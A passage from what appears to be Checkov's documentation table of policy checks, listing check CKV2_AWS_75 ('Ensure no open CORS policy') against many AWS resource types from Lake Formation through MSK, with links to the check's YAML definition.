[LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 974 | CKV2_AWS_75 | resource | aws_lakeformation_resource_lf_tag | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 975 | CKV2_AWS_75 | resource | aws_lakeformation_resource_lf_tags | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 976 | CKV2_AWS_75 | resource | aws_lambda_alias | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 977 | CKV2_AWS_75 | resource | aws_lambda_code_signing_config | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 978 | CKV2_AWS_75 | resource | aws_lambda_event_source_mapping | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 979 | CKV2_AWS_75 | resource | aws_lambda_function | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 980 | CKV2_AWS_75 | resource | aws_lambda_function_event_invoke_config | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 981 | CKV2_AWS_75 | resource | aws_lambda_function_recursion_config | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 982 | CKV2_AWS_75 | resource | aws_lambda_function_url | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 983 | CKV2_AWS_75 | resource | aws_lambda_invocation | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 984 | CKV2_AWS_75 | resource | aws_lambda_layer_version | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 985 | CKV2_AWS_75 | resource | aws_lambda_layer_version_permission | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 986 | CKV2_AWS_75 | resource | aws_lambda_permission | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 987 | CKV2_AWS_75 | resource | aws_lambda_provisioned_concurrency_config | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 988 | CKV2_AWS_75 | resource | aws_lambda_runtime_management_config | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 989 | CKV2_AWS_75 | resource | aws_launch_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 990 | CKV2_AWS_75 | resource | aws_launch_template | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 991 | CKV2_AWS_75 | resource | aws_lb | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 992 | CKV2_AWS_75 | resource | aws_lb_cookie_stickiness_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 993 | CKV2_AWS_75 | resource | aws_lb_listener | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 994 | CKV2_AWS_75 | resource | aws_lb_listener_certificate | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 995 | CKV2_AWS_75 | resource | aws_lb_listener_rule | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 996 | CKV2_AWS_75 | resource | aws_lb_ssl_negotiation_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 997 | CKV2_AWS_75 | resource | aws_lb_target_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 998 | CKV2_AWS_75 | resource | aws_lb_target_group_attachment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 999 | CKV2_AWS_75 | resource | aws_lb_trust_store | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1000 | CKV2_AWS_75 | resource | aws_lb_trust_store_revocation | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1001 | CKV2_AWS_75 | resource | aws_lex_bot | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1002 | CKV2_AWS_75 | resource | aws_lex_bot_alias | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1003 | CKV2_AWS_75 | resource | aws_lex_intent | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1004 | CKV2_AWS_75 | resource | aws_lex_slot_type | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1005 | CKV2_AWS_75 | resource | aws_lexv2models_bot | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1006 | CKV2_AWS_75 | resource | aws_lexv2models_bot_locale | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1007 | CKV2_AWS_75 | resource | aws_lexv2models_bot_version | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1008 | CKV2_AWS_75 | resource | aws_lexv2models_intent | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1009 | CKV2_AWS_75 | resource | aws_lexv2models_slot | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1010 | CKV2_AWS_75 | resource | aws_lexv2models_slot_type | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1011 | CKV2_AWS_75 | resource | aws_licensemanager_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1012 | CKV2_AWS_75 | resource | aws_licensemanager_grant | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1013 | CKV2_AWS_75 | resource | aws_licensemanager_grant_accepter | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1014 | CKV2_AWS_75 | resource | aws_licensemanager_license_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1015 | CKV2_AWS_75 | resource | aws_lightsail_bucket | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1016 | CKV2_AWS_75 | resource | aws_lightsail_bucket_access_key | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1017 | CKV2_AWS_75 | resource | aws_lightsail_bucket_resource_access | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1018 | CKV2_AWS_75 | resource | aws_lightsail_certificate | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1019 | CKV2_AWS_75 | resource | aws_lightsail_container_service | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1020 | CKV2_AWS_75 | resource | aws_lightsail_container_service_deployment_version | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1021 | CKV2_AWS_75 | resource | aws_lightsail_database | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1022 | CKV2_AWS_75 | resource | aws_lightsail_disk | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1023 | CKV2_AWS_75 | resource | aws_lightsail_disk_attachment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1024 | CKV2_AWS_75 | resource | aws_lightsail_distribution | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1025 | CKV2_AWS_75 | resource | aws_lightsail_domain | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1026 | CKV2_AWS_75 | resource | aws_lightsail_domain_entry | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1027 | CKV2_AWS_75 | resource | aws_lightsail_instance | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1028 | CKV2_AWS_75 | resource | aws_lightsail_instance_public_ports | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1029 | CKV2_AWS_75 | resource | aws_lightsail_key_pair | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1030 | CKV2_AWS_75 | resource | aws_lightsail_lb | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1031 | CKV2_AWS_75 | resource | aws_lightsail_lb_attachment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1032 | CKV2_AWS_75 | resource | aws_lightsail_lb_certificate | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1033 | CKV2_AWS_75 | resource | aws_lightsail_lb_certificate_attachment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1034 | CKV2_AWS_75 | resource | aws_lightsail_lb_https_redirection_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1035 | CKV2_AWS_75 | resource | aws_lightsail_lb_stickiness_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1036 | CKV2_AWS_75 | resource | aws_lightsail_static_ip | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1037 | CKV2_AWS_75 | resource | aws_lightsail_static_ip_attachment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1038 | CKV2_AWS_75 | resource | aws_load_balancer_backend_server_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1039 | CKV2_AWS_75 | resource | aws_load_balancer_listener_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1040 | CKV2_AWS_75 | resource | aws_load_balancer_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1041 | CKV2_AWS_75 | resource | aws_location_geofence_collection | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1042 | CKV2_AWS_75 | resource | aws_location_map | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1043 | CKV2_AWS_75 | resource | aws_location_place_index | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1044 | CKV2_AWS_75 | resource | aws_location_route_calculator | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1045 | CKV2_AWS_75 | resource | aws_location_tracker | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1046 | CKV2_AWS_75 | resource | aws_location_tracker_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1047 | CKV2_AWS_75 | resource | aws_m2_application | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1048 | CKV2_AWS_75 | resource | aws_m2_deployment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1049 | CKV2_AWS_75 | resource | aws_m2_environment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1050 | CKV2_AWS_75 | resource | aws_macie2_account | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1051 | CKV2_AWS_75 | resource | aws_macie2_classification_export_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1052 | CKV2_AWS_75 | resource | aws_macie2_classification_job | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1053 | CKV2_AWS_75 | resource | aws_macie2_custom_data_identifier | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1054 | CKV2_AWS_75 | resource | aws_macie2_findings_filter | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1055 | CKV2_AWS_75 | resource | aws_macie2_invitation_accepter | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1056 | CKV2_AWS_75 | resource | aws_macie2_member | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1057 | CKV2_AWS_75 | resource | aws_macie2_organization_admin_account | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1058 | CKV2_AWS_75 | resource | aws_macie_member_account_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1059 | CKV2_AWS_75 | resource | aws_macie_s3_bucket_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1060 | CKV2_AWS_75 | resource | aws_main_route_table_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1061 | CKV2_AWS_75 | resource | aws_media_convert_queue | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1062 | CKV2_AWS_75 | resource | aws_media_package_channel | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1063 | CKV2_AWS_75 | resource | aws_media_packagev2_channel_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1064 | CKV2_AWS_75 | resource | aws_media_store_container | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1065 | CKV2_AWS_75 | resource | aws_media_store_container_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1066 | CKV2_AWS_75 | resource | aws_medialive_channel | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1067 | CKV2_AWS_75 | resource | aws_medialive_input | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1068 | CKV2_AWS_75 | resource | aws_medialive_input_security_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1069 | CKV2_AWS_75 | resource | aws_medialive_multiplex | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1070 | CKV2_AWS_75 | resource | aws_medialive_multiplex_program | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1071 | CKV2_AWS_75 | resource | aws_memorydb_acl | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1072 | CKV2_AWS_75 | resource | aws_memorydb_cluster | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1073 | CKV2_AWS_75 | resource | aws_memorydb_multi_region_cluster | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1074 | CKV2_AWS_75 | resource | aws_memorydb_parameter_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1075 | CKV2_AWS_75 | resource | aws_memorydb_snapshot | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1076 | CKV2_AWS_75 | resource | aws_memorydb_subnet_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1077 | CKV2_AWS_75 | resource | aws_memorydb_user | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1078 | CKV2_AWS_75 | resource | aws_mq_broker | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1079 | CKV2_AWS_75 | resource | aws_mq_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1080 | CKV2_AWS_75 | resource | aws_msk_cluster | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1081 | CKV2_AWS_75 | resource | aws_msk_cluster_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1082 | CKV2_AWS_75 | resource | aws_msk_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1083 | CKV2_AWS_75 | resource | aws_msk_replicator | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1084 | CKV2_AWS_75 | resource | aws_msk_scram_secret_association | Ensure no open CORS policy | Cloudformation | 